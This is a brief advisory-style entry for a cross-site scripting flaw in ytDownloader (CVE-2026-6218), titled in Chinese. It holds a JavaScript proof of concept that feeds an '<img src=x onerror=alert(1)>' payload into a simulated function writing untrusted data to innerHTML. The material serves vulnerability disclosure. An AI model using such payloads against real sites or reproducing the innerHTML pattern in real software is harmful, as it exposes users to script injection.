CVE-2026-6218 ytDownloader跨站脚本漏洞

// Proof of Concept for DOM XSS in Error Details Panel // Attacker creates a malicious filename or error message var payload = '<img src=x onerror=alert(1)>'; // Simulating the vulnerable function behavior function vulnerableCreateTextNode(data) { // Vulnerable implementation: directly inserting data into innerHTML // instead of creating a safe text node. var errorPanel = document.getElementById('error-details'); errorPanel.innerHTML = data; } // Triggering the vulnerability vulnerableCreateTextNode(payload);